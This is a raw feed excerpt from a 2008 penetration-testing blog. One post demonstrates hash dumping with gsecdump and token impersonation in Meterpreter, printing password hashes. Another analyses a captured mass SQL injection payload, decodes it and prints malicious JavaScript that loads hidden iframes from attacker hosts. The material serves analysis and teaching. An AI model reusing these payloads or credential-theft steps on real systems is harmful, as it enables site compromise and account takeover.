/&gt;http://www.carnal0wnage.com/research/Carnal-NewSchool-ToorconX.pdf&lt;br /&gt;&lt;br /&gt;Comments and feedback are always welcome even though I received nothing back from all the people that emailed me asking for them last time :-(&lt;br /&gt;&lt;br /&gt;-CG
&lt;p&gt;&lt;a href="http://feeds.feedburner.com/~a/Carnal0wnageBlog?a=ASS0pa"&gt;&lt;img src="http://feeds.feedburner.com/~a/Carnal0wnageBlog?i=ASS0pa" border="0"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</content><link rel="replies" type="application/atom+xml" href="http://carnal0wnage.blogspot.com/feeds/690526082501860198/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=690526082501860198" title="4 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8539880144347728238/posts/default/690526082501860198?v=2" /><link rel="self" type="application/atom+xml" href="http://carnal0wnage.blogspot.com/feeds/posts/default/690526082501860198" /><link rel="alternate" type="text/html" href="http://carnal0wnage.blogspot.com/2008/10/new-school-information-gathering.html" title="New School Information Gathering ToorconX edition" /><author><name>CG</name><uri>http://www.blogger.com/profile/11061967917509053185</uri><email>noreply@blogger.com</email></author></entry><entry gd:etag="W/&quot;AkEBSHg8fSp7ImA9WxRRGEw.&quot;"><id>tag:blogger.com,1999:blog-8539880144347728238.post-2817523914166294461</id><published>2008-09-30T19:41:00.002-04:00</published><updated>2008-09-30T19:50:59.675-04:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-09-30T19:50:59.675-04:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="why blog" /><category scheme="http://www.blogger.com/atom/ns#" term="richard bejtlich" /><title>Why Blog?</title><content type="html">Richard Bejtlich has a really good blog post on his blog entitled "&lt;a href="http://taosecurity.blogspot.com/2008/09/why-blog.html"&gt;why blog&lt;/a&gt;".&lt;br /&gt;&lt;br /&gt;He lists five things:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;&lt;b&gt;Blogging organizes thoughts.&lt;/b&gt;&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;b&gt;Blogging captures and shares thoughts.&lt;/b&gt;&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;b&gt;Blogging facilitates public self-expression.&lt;/b&gt;&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;b&gt;Blogging establishes communities.&lt;/b&gt;&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;b&gt;Blogging can contribute original knowledge faster than any other medium.&lt;/b&gt;&lt;br /&gt;&lt;/li&gt;&lt;/ol&gt;I'll let you read the blog for the discussion on the five things but I've really enjoyed blogging.&lt;br /&gt;&lt;br /&gt;I mostly keep the blog as my note taking canvas (for notes I want to share with others) but RB's five reasons are reasons I blog as well.
&lt;p&gt;&lt;a href="http://feeds.feedburner.com/~a/Carnal0wnageBlog?a=BWhlmJ"&gt;&lt;img src="http://feeds.feedburner.com/~a/Carnal0wnageBlog?i=BWhlmJ" border="0"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</content><link rel="replies" type="application/atom+xml" href="http://carnal0wnage.blogspot.com/feeds/2817523914166294461/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=2817523914166294461" title="2 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8539880144347728238/posts/default/2817523914166294461?v=2" /><link rel="self" type="application/atom+xml" href="http://carnal0wnage.blogspot.com/feeds/posts/default/2817523914166294461" /><link rel="alternate" type="text/html" href="http://carnal0wnage.blogspot.com/2008/09/why-blog.html" title="Why Blog?" /><author><name>CG</name><uri>http://www.blogger.com/profile/11061967917509053185</uri><email>noreply@blogger.com</email></author></entry><entry gd:etag="W/&quot;C08DQX88cSp7ImA9WxRSFEk.&quot;"><id>tag:blogger.com,1999:blog-8539880144347728238.post-6475474753738476652</id><published>2008-09-14T20:57:00.003-04:00</published><updated>2008-09-14T21:24:30.179-04:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-09-14T21:24:30.179-04:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Chris Gates" /><category scheme="http://www.blogger.com/atom/ns#" term="Crash Course in Penetration Testing" /><category scheme="http://www.blogger.com/atom/ns#" term="toorcon" /><category scheme="http://www.blogger.com/atom/ns#" term="Joe McCray" /><title>Toorcon X Workshop</title><content type="html">As I mentioned before, Joe and I are doing a Crash Course In Pentesting 2 day workshop at ToorconX&lt;br /&gt;&lt;br /&gt;&lt;a href="http://sandiego.toorcon.org/content/section/4/8/"&gt;http://sandiego.toorcon.org/content/section/4/8/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Here's a piece from the description:&lt;br /&gt;&lt;br /&gt;"This course will cover some of the newer aspects of pen-testing covering; Open Source Intelligence Gathering with Maltego and other Open Source tools, Scanning, Enumeration, Exploitation (Both remote and client-side) and Post-Exploitation relying heavily on the features included in the Metasploit Framework. We'll discuss our activities from both the Whitebox and Blackbox approach keeping stealth in mind for our Blackbox activities.&lt;br /&gt;&lt;br /&gt;Web Application penetration testing will be covered as well with focus on practical exploitation of cross-site scripting (XSS), cross-site request forgery (CSRF), local/remote file includes, and SQL Injection."&lt;br /&gt;&lt;br /&gt;But I wanted to give a few more details.&lt;br /&gt;&lt;br /&gt;Day 1 is network level pentesting and Day 2 is web application pentesting. &lt;br /&gt;&lt;br /&gt;Network level is mostly my responsibility and I'll be focusing on black box information gathering, client side attacks, and post exploitation.  Its hard to cover pentesting in a day, so I'll be talking heavily on client side attacks and how to implement those into your pentests and some of the tools you'll need to do it. A little bit on local/priv escalation attacks that you'll need to do once you have that userland shell and post exploitation.  There is also a block on metasploit and the students will take home a copy of LSO's Metasploit Mini Course.&lt;br /&gt;&lt;br /&gt;Web application is Joe's responsibility and it should be really good.  We've had a custom web app built with vulnerabilities intentionally built in.  So the students will be able run the tools he is going to discuss and then exploit the vulnerabilities they find.  They also get to take the VM home with them.&lt;br /&gt;&lt;br /&gt;If you have questions feel free to post up or email me with them.
&lt;p&gt;&lt;a href="http://feeds.feedburner.com/~a/Carnal0wnageBlog?a=OVKbLK"&gt;&lt;img src="http://feeds.feedburner.com/~a/Carnal0wnageBlog?i=OVKbLK" border="0"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</content><link rel="replies" type="application/atom+xml" href="http://carnal0wnage.blogspot.com/feeds/6475474753738476652/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=6475474753738476652" title="2 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8539880144347728238/posts/default/6475474753738476652?v=2" /><link rel="self" type="application/atom+xml" href="http://carnal0wnage.blogspot.com/feeds/posts/default/6475474753738476652" /><link rel="alternate" type="text/html" href="http://carnal0wnage.blogspot.com/2008/09/toorcon-x-workshop.html" title="Toorcon X Workshop" /><author><name>CG</name><uri>http://www.blogger.com/profile/11061967917509053185</uri><email>noreply@blogger.com</email></author></entry><entry gd:etag="W/&quot;C0YBSXk-fyp7ImA9WxRSEko.&quot;"><id>tag:blogger.com,1999:blog-8539880144347728238.post-8264572095960099385</id><published>2008-09-12T17:08:00.004-04:00</published><updated>2008-09-12T21:59:18.757-04:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-09-12T21:59:18.757-04:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="gsecdump" /><category scheme="http://www.blogger.com/atom/ns#" term="token impersonation" /><category scheme="http://www.blogger.com/atom/ns#" term="token kidnaping" /><category scheme="http://www.blogger.com/atom/ns#" term="incognito" /><category scheme="http://www.blogger.com/atom/ns#" term="pass the hash" /><category scheme="http://www.blogger.com/atom/ns#" term="msvctl" /><title>passing the hash with gsecdump and msvctl (yes more)</title><content type="html">So just a follow up post on gsecdump and msvctl after doing prep for post exploitation topics for the toorcon workshop.&lt;br /&gt;&lt;br /&gt;For some reason I thought that gsecdump would not require admin privileges, this is incorrect it will require admin or system on the box.  What it doesn't require is injecting into lsass to get the hashes (at least according to&lt;a href="http://www.iforge.cc/projects.html"&gt; here&lt;/a&gt;).&lt;br /&gt;&lt;br /&gt;"Most notable features are extracting password hashes for active logon sessions, LSA secrets without injecting into lsass.exe making it safe to run on any system and pwdump functionality without DLL injection (and a lot more stable). Gsecdump has no DLL dependency making it very easy to use on remote systems with psexec. If it for some reason can't do what it is supposed to, try running it as SYSTEM and you should get your info."&lt;br /&gt;&lt;br /&gt;OK, so you still need admin or higher but the cool thing (and I have already covered this) is that it dumps the hashes for active logon sessions.  Now, the key to to that is &lt;span style="font-weight: bold;"&gt;active logon sessions&lt;/span&gt;.  So if you are userland and admin or higher then you might be stuck with that user's hash because once the log out the active logon session hash seems to disappear (sometimes ??) but if you get a system shell you might get some of the old logged in users.&lt;br /&gt;&lt;br /&gt;example:&lt;br /&gt;#popped a system shell and got a command shell with meterpreter&lt;br /&gt;&lt;br /&gt;C:\Documents and Settings\nobody\Desktop&gt;gsecdump -u&lt;br /&gt;gsecdump -u&lt;br /&gt;MSHOME\XPSP1VM$::aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::&lt;br /&gt;&lt;br /&gt;#logged into the box as nobody&lt;br /&gt;&lt;br /&gt;C:\Documents and Settings\nobody\Desktop&gt;gsecdump -u&lt;br /&gt;gsecdump -u&lt;br /&gt;XPSP1VM\nobody::e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::&lt;br /&gt;MSHOME\XPSP1VM$::aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::&lt;br /&gt;&lt;br /&gt;Logged out as nobody&lt;br /&gt;C:\Documents and Settings\nobody\Desktop&gt;gsecdump -u&lt;br /&gt;gsecdump -u&lt;br /&gt;MSHOME\XPSP1VM$::aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::&lt;br /&gt;&lt;br /&gt;Once nobody logs out, things were back to where they were.  This is an important distinction between gsecdump/msvctl and token stealing.   But, once you have a hash,  any user can use that hash where you have to be admin/system to pass tokens.&lt;br /&gt;&lt;br /&gt;Let's see the same scenario with incognito&lt;br /&gt;&lt;br /&gt;meterpreter &gt; list_tokens -u&lt;br /&gt;&lt;br /&gt;Delegation Tokens Available&lt;br /&gt;========================================&lt;br /&gt;NT AUTHORITY\LOCAL SERVICE&lt;br /&gt;NT AUTHORITY\NETWORK SERVICE&lt;br /&gt;NT AUTHORITY\SYSTEM&lt;br /&gt;&lt;br /&gt;Impersonation Tokens Available&lt;br /&gt;========================================&lt;br /&gt;NT AUTHORITY\ANONYMOUS LOGON&lt;br /&gt;&lt;br /&gt;#login as nobody&lt;br /&gt;meterpreter &gt; list_tokens -u&lt;br /&gt;&lt;br /&gt;Delegation Tokens Available&lt;br /&gt;========================================&lt;br /&gt;NT AUTHORITY\LOCAL SERVICE&lt;br /&gt;NT AUTHORITY\NETWORK SERVICE&lt;br /&gt;NT AUTHORITY\SYSTEM&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;XPSP1VM\nobody&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Impersonation Tokens Available&lt;br /&gt;========================================&lt;br /&gt;NT AUTHORITY\ANONYMOUS LOGON&lt;br /&gt;&lt;br /&gt;#log out as nobody&lt;br /&gt;meterpreter &gt; list_tokens -u&lt;br /&gt;&lt;br /&gt;Delegation Tokens Available&lt;br /&gt;========================================&lt;br /&gt;NT AUTHORITY\LOCAL SERVICE&lt;br /&gt;NT AUTHORITY\NETWORK SERVICE&lt;br /&gt;NT AUTHORITY\SYSTEM&lt;br /&gt;&lt;br /&gt;Impersonation Tokens Available&lt;br /&gt;========================================&lt;br /&gt;NT AUTHORITY\ANONYMOUS LOGON&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;XPSP1VM\nobody&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;meterpreter &gt; impersonate_token XPSP1VM\\nobody&lt;br /&gt;[-] No delegation token available&lt;br /&gt;[+] Successfully impersonated user XPSP1VM\nobody&lt;br /&gt;meterpreter &gt; getuid&lt;br /&gt;Server username: XPSP1VM\nobody&lt;br /&gt;meterpreter &gt; rev2self&lt;br /&gt;meterpreter &gt; getuid&lt;br /&gt;Server username: NT AUTHORITY\SYSTEM&lt;br /&gt;&lt;br /&gt;Lastly, like I already mentioned in the other msvctl post, you have to actually be sitting on the box to get your new shell with the user's creds you passed because it pops up a whole new command shell.  Which is kind of a bummer, with a remote shell.  You'll have to use the pass the hash toolkit instead.&lt;br /&gt;&lt;br /&gt;Some other reading on gsecdump and msvctl&lt;br /&gt;&lt;a href="http://blogs.pointbridge.com/Blogs/seaman_derek/Pages/Post.aspx?_ID=20"&gt;http://blogs.pointbridge.com/Blogs/seaman_derek/Pages/Post.aspx?_ID=20&lt;/a&gt;&lt;br /&gt;&lt;a href="http://ciac.llnl.gov/ciac/techbull/CIACTech08-002.shtml"&gt;http://ciac.llnl.gov/ciac/techbull/CIACTech08-002.shtml&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://truesecurity.se/blogs/murray/archive/2007/06/08/my-sec-310-sesson-on-teched-us-2007-is-now-available-as-a-webcast.aspx"&gt;http://truesecurity.se/blogs/murray/archive/2007/06/08/my-sec-310-sesson-on-teched-us-2007-is-now-available-as-a-webcast.aspx&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Also I was doing some googling on pass the hash and came across this post in reference to the pass the hash problem, best part in bold.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.eggheadcafe.com/software/aspnet/30890366/hash-injection-mitigation.aspx"&gt;http://www.eggheadcafe.com/software/aspnet/30890366/hash-injection-mitigation.aspx&lt;/a&gt;&lt;br /&gt;best quote:&lt;br /&gt;&lt;br /&gt;"Hash injection mitigation? - Steve Riley [MSFT] &lt;06-oct-07 style="font-weight: bold;"&gt;In either case, you need to become admin of the computer before you can force the compromised machine to release its hashes from memory, which lessens the likelihood of success. And if you did manage to become admin, there are fare more interesting attacks that you'd want to attempt. By the way, sniffing a network connection won't reveal hashes.  &lt;span style="font-weight: bold;"&gt;In other words, there's nothing new here, and very little that you need to worry about."&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span&gt;I don't know, going from a local admin on a box to domain admin is pretty interesting to me...&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;
&lt;p&gt;&lt;a href="http://feeds.feedburner.com/~a/Carnal0wnageBlog?a=vrk1H6"&gt;&lt;img src="http://feeds.feedburner.com/~a/Carnal0wnageBlog?i=vrk1H6" border="0"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</content><link rel="replies" type="application/atom+xml" href="http://carnal0wnage.blogspot.com/feeds/8264572095960099385/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=8264572095960099385" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8539880144347728238/posts/default/8264572095960099385?v=2" /><link rel="self" type="application/atom+xml" href="http://carnal0wnage.blogspot.com/feeds/posts/default/8264572095960099385" /><link rel="alternate" type="text/html" href="http://carnal0wnage.blogspot.com/2008/09/passing-hash-with-gsecdump-and-msvctl.html" title="passing the hash with gsecdump and msvctl (yes more)" /><author><name>CG</name><uri>http://www.blogger.com/profile/11061967917509053185</uri><email>noreply@blogger.com</email></author></entry><entry gd:etag="W/&quot;DUUHSX8_cSp7ImA9WxRSEk4.&quot;"><id>tag:blogger.com,1999:blog-8539880144347728238.post-4646952822522261472</id><published>2008-09-12T12:30:00.002-04:00</published><updated>2008-09-12T12:33:58.149-04:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-09-12T12:33:58.149-04:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="mike murray" /><category scheme="http://www.blogger.com/atom/ns#" term="social engineering" /><category scheme="http://www.blogger.com/atom/ns#" term="EthicalHacker.net" /><title>Mike Murray on Human Exploitation 101</title><content type="html">&lt;a href="http://www.ethicalhacker.net/content/view/209/1/"&gt;http://www.ethicalhacker.net/content/view/209/1/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;From the article:&lt;br /&gt;&lt;br /&gt;"This is going to be all about dealing face-to-face (or voice-to-voice or text-to-text) with real live people and exploiting the natural tendency to trust.&lt;span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;Of course, this skill underpins everything else that we do when on a social-engineering engagement - in order to impersonate a UPS guy, talk someone out of their password, write a great targeted phishing email, or know exactly where to drop the USB keys - you have to have great skills at exploiting the natural tendencies of humans.  &lt;p style="margin-bottom: 12pt;"&gt; This means a deep understanding of the three fundamental skills (that I have mentioned often in introductory talks and articles on this topic) - the ability to communicate, the ability to be aware of your surroundings, and your ability to control the context (or "cognitive frame") of your interaction."&lt;/p&gt;&lt;br /&gt;Human 0days are promised in the future!
&lt;p&gt;&lt;a href="http://feeds.feedburner.com/~a/Carnal0wnageBlog?a=TmDjtk"&gt;&lt;img src="http://feeds.feedburner.com/~a/Carnal0wnageBlog?i=TmDjtk" border="0"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</content><link rel="replies" type="application/atom+xml" href="http://carnal0wnage.blogspot.com/feeds/4646952822522261472/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=4646952822522261472" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8539880144347728238/posts/default/4646952822522261472?v=2" /><link rel="self" type="application/atom+xml" href="http://carnal0wnage.blogspot.com/feeds/posts/default/4646952822522261472" /><link rel="alternate" type="text/html" href="http://carnal0wnage.blogspot.com/2008/09/mike-murray-on-human-exploitation-101.html" title="Mike Murray on Human Exploitation 101" /><author><name>CG</name><uri>http://www.blogger.com/profile/11061967917509053185</uri><email>noreply@blogger.com</email></author></entry><entry gd:etag="W/&quot;D0cCQH08eSp7ImA9WxRTEkw.&quot;"><id>tag:blogger.com,1999:blog-8539880144347728238.post-9143230724205909839</id><published>2008-08-31T15:33:00.008-04:00</published><updated>2008-08-31T16:37:41.371-04:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-08-31T16:37:41.371-04:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="malware" /><title>cute...</title><content type="html">checking web logs...&lt;br /&gt;&lt;br /&gt;71.191.45.109 - - [30/Aug/2008:19:06:39 +0000] "GET /hack/brutessh2.c?';DECLARE%&lt;br /&gt;20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C41524520405420766172636861722832353529&lt;br /&gt;2C40432076617263686172283430303029204445434C415245205461626C655F437572736F722043&lt;br /&gt;5552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F&lt;br /&gt;626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E&lt;br /&gt;6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E7874797065&lt;br /&gt;3D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E20&lt;br /&gt;5461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F43757273&lt;br /&gt;6F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D3029204245&lt;br /&gt;47494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D27&lt;br /&gt;27223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568&lt;br /&gt;756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40&lt;br /&gt;432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E&lt;br /&gt;3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F637372&lt;br /&gt;73732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F&lt;br /&gt;4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F534520546162&lt;br /&gt;6C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4&lt;br /&gt;000));EXEC(@S); HTTP/1.1" 501 291 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Window&lt;br /&gt;s NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)"&lt;br /&gt;&lt;br /&gt;Decodes to:&lt;br /&gt;DECLARE @T varchar(255)'@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name'b.name from sysobjects a'syscolumns b where a.id=b.id an?? a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM  Table_Cursor INTO @T'@C WHILE(@@F??TCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=''"&gt;//script src="hxxp://www0.douh??nqn.cn/csrss/w.js"//script////!--''+['+@??+'] where '+@C+' not like ''%"//script src="hxxp://www0.douhunqn.cn/csr??s/w.js"//script//!--''')FETCH NEXT FRO??  Table_Cursor INTO @T'@C END CLOSE Tab??e_Cursor DEALLOCATE Table_Cursor&lt;br /&gt;&lt;br /&gt;the java:&lt;br /&gt;&lt;br /&gt;window.onerror=function()&lt;br /&gt;{&lt;br /&gt;document.write("//iframe width="0" height="0" src="hxxp://www0.douhunqn.cn/csrss/new.htm"&gt;//iframe&gt;");&lt;br /&gt;return true;&lt;br /&gt;}&lt;br /&gt;if(typeof(js2eus)=="undefined")&lt;br /&gt;{&lt;br /&gt;var js2eus=1;&lt;br /&gt;&lt;br /&gt;var yesdata;&lt;br /&gt;yesdata='&amp;amp;refe='+escape(document.referrer)+'&amp;amp;location='+escape(document.location)+'&amp;amp;color='+screen.colorDepth+'x&amp;amp;resolution='+screen.width+'x'+screen.height+'&amp;amp;returning='+cc_k()+'&amp;amp;language='+navigator.systemLanguage+'&amp;amp;ua='+escape(navigator.userAgent);&lt;br /&gt;document.write('//iframe marginwidth="0" marginheight="0" hspace="0" vspace="0" frameborder="0" scrolling="no" src="hxxp://count41.51yes.com/sa.aspx?id="419214144'+yesdata+'" height="0" width="0"&gt;//iframe&gt;');&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;document.write("//iframe width="0" height="0" src="&lt;span style="font-weight: bold;"&gt;hxxp://www0.douhunqn.cn/csrss/new.htm&lt;/span&gt;"&gt;//iframe&gt;");&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function y_gVal(iz)&lt;br /&gt;{var endstr=document.cookie.indexOf(";",iz);if(endstr==-1) endstr=document.cookie.length;return document.cookie.substring(iz,endstr);}&lt;br /&gt;function y_g(name)&lt;br /&gt;{var arg=name+"=";var alen=arg.length;var clen=document.cookie.length;var i=0;var j;while(i&lt;clen) j="i+alen;if(document.cookie.substring(i,j)==arg)" i="document.cookie.indexOf(&amp;quot;" return="" function="" y_e="new" y_t="93312000;var" yesvisitor="1000*36000;var" yesctime="y_e.getTime();y_e.setTime(y_e.getTime()+y_t);var" yesiz="document.cookie.indexOf(&amp;quot;cck_lasttime&amp;quot;);if(yesiz==-1){document.cookie=&amp;quot;cck_lasttime=&amp;quot;+yesctime+&amp;quot;;" expires=" + y_e.toGMTString() +  " path="/&amp;quot;;document.cookie=&amp;quot;cck_count=0;" var="" y_c1="y_g(&amp;quot;cck_lasttime&amp;quot;);var" y_c2="y_g(&amp;quot;cck_count&amp;quot;);y_c1=parseInt(y_c1);y_c2=parseInt(y_c2);y_c3=yesctime-y_c1;if(y_c3"&gt;yesvisitor){y_c2=y_c2+1;document.cookie="cck_lasttime="+yesctime+"; expires="+y_e.toGMTString()+"; path=/";document.cookie="cck_count="+y_c2+"; expires="+y_e.toGMTString()+"; path=/";}return y_c2;}}&lt;br /&gt;&lt;br /&gt;new.htm is nice:&lt;br /&gt;&lt;br /&gt;launches several iframes that launch several other attacks.  very nice. I'll let you pull down that code.&lt;br /&gt;&lt;br /&gt;hxxp://www0.douhunqn.cn/csrss/lzx.htm&lt;br /&gt;hxxp://www0.douhunqn.cn/csrss/IERPCtl.IERPCtl.1&lt;br /&gt;hxxp://www0.douhunqn.cn/csrss/real11.htm&lt;br /&gt;hxxp://www0.douhunqn.cn/csrss/real10.htm&lt;br /&gt;hxxp://www0.douhunqn.cn/csrss/S.S&lt;br /&gt;hxxp://www0.douhunqn.cn/csrss/Bfyy.htm --&gt; Storm Player Exploit&lt;br /&gt;&lt;br /&gt;The only exploit that was there was the real11.htm one :-(&lt;br /&gt;&lt;br /&gt;new.htm also serves up:&lt;br /&gt;&lt;/clen)&gt;//iframe src=hxxp://www.ppexe.com/csrss/06014.htm width=100 height=0&gt;&lt;br /&gt;//iframe src=hxxp://www.ppexe.com/csrss/flash.htm width=100 height=0&gt;&lt;br /&gt;//Iframe src=hxxp://www.ppexe.com/csrss/net.htm width=100 height=0&gt;&lt;br /&gt;//Iframe src=hxxp://www.ppexe.com/csrss/ff.htm width=100 height=0&gt;&lt;br /&gt;&lt;br /&gt;that malware with the .exe's are still available&lt;br /&gt;&lt;br /&gt;there is a good write up of most of the code here&lt;br /&gt;&lt;br /&gt;&lt;a href="http://blogs.technet.com/mmpc/archive/2008/08/28/a-normal-day-at-the-office.aspx"&gt;http://blogs.technet.com/mmpc/archive/2008/08/28/a-normal-day-at-the-office.aspx&lt;/a&gt;
&lt;p&gt;&lt;a href="http://feeds.feedburner.com/~a/Carnal0wnageBlog?a=jYsQu0"&gt;&lt;img src="http://feeds.feedburner.com/~a/Carnal0wnageBlog?i=jYsQu0" border="0"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</content><link rel="replies" type="application/atom+xml" href="http://carnal0wnage.blogspot.com/feeds/9143230724205909839/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=9143230724205909839" title="2 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8539880144347728238/posts/default/9143230724205909839?v=2" /><link rel="self" type="application/atom+xml" href="http://carnal0wnage.blogspot.com/feeds/posts/default/9143230724205909839" /><link rel="alternate" type="text/html" href="http://carnal0wnage.blogspot.com/2008/08/cute.html" title="cute..." /><author><name>CG</name><uri>http://www.blogger.com/profile/11061967917509053185</uri><email>noreply@blogger.com</email></author></entry><entry gd:etag="W/&quot;CU8HRXs7eip7ImA9WxRTEUw.&quot;"><id>tag:blogger.com,1999:blog-8539880144347728238.post-8479815633679645913</id><published>2008-08-30T10:55:00.007-04:00</published><updated>2008-08-30T12:30:34.502-04:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-08-30T12:30:34.502-04:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="linux" /><category scheme="http://www.blogger.com/atom/ns#" term="slicehost" /><title>Setting up my "slice" from slicehost</title><content type="html">If you are looking to have your own box and get your hands dirty with Linux administration then &lt;a href="https://manage.slicehost.com/customers/new?referrer=9325e43fc18c51143d6d685788df26c2"&gt;slicehost&lt;/a&gt; is a great option for you.&lt;br /&gt;&lt;br /&gt;My last hosting company didn't allow me access to log files and were just an overall pain to work with.  I can tell you that if Alan Shimel had had my hosting company the guys that took over his domain probably wouldn't have had the patience to wait out what it took me to move mine...anyway I digress.&lt;br /&gt;&lt;br /&gt;&lt;a href="https://manage.slicehost.com/customers/new?referrer=9325e43fc18c51143d6d685788df26c2"&gt;Slicehost&lt;/a&gt; is great, here is a breakdown of their plans:&lt;br /&gt;&lt;br /&gt;    RAM                  PRICE        HD                    BW&lt;br /&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td align="center"&gt;&lt;br /&gt;&lt;/td&gt;            &lt;td&gt;&lt;strong&gt;256 slice&lt;/strong&gt;&lt;/td&gt;           &lt;td class="cost"&gt;$20.00&lt;/td&gt;           &lt;td&gt;10GB&lt;/td&gt;           &lt;td&gt;100GB&lt;/td&gt;          &lt;/tr&gt;                   &lt;tr&gt;           &lt;td align="center"&gt;&lt;br /&gt;&lt;/td&gt;            &lt;td&gt;&lt;strong&gt;512 slice&lt;/strong&gt;&lt;/td&gt;           &lt;td class="cost"&gt;$38.00&lt;/td&gt;           &lt;td&gt;20GB&lt;/td&gt;           &lt;td&gt;200GB&lt;/td&gt;          &lt;/tr&gt;                   &lt;tr&gt;           &lt;td align="center"&gt;&lt;br /&gt;&lt;/td&gt;            &lt;td&gt;&lt;strong&gt;1GB slice&lt;/strong&gt;&lt;/td&gt;           &lt;td class="cost"&gt;$70.00&lt;/td&gt;           &lt;td&gt;40GB&lt;/td&gt;           &lt;td&gt;400GB&lt;/td&gt;          &lt;/tr&gt;                   &lt;tr&gt;           &lt;td align="center"&gt;&lt;br /&gt;&lt;/td&gt;            &lt;td&gt;&lt;strong&gt;2GB slice&lt;/strong&gt;&lt;/td&gt;           &lt;td class="cost"&gt;$140.00&lt;/td&gt;           &lt;td&gt;80GB&lt;/td&gt;           &lt;td&gt;800GB&lt;/td&gt;          &lt;/tr&gt;                   &lt;tr&gt;           &lt;td align="center"&gt;&lt;br /&gt;&lt;/td&gt;            &lt;td&gt;&lt;strong&gt;4GB slice&lt;/strong&gt;&lt;/td&gt;           &lt;td class="cost"&gt;$280.00&lt;/td&gt;           &lt;td&gt;160GB&lt;/td&gt;           &lt;td&gt;1600GB&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;You start with a slimmed down version of one of the following OS's"&lt;br 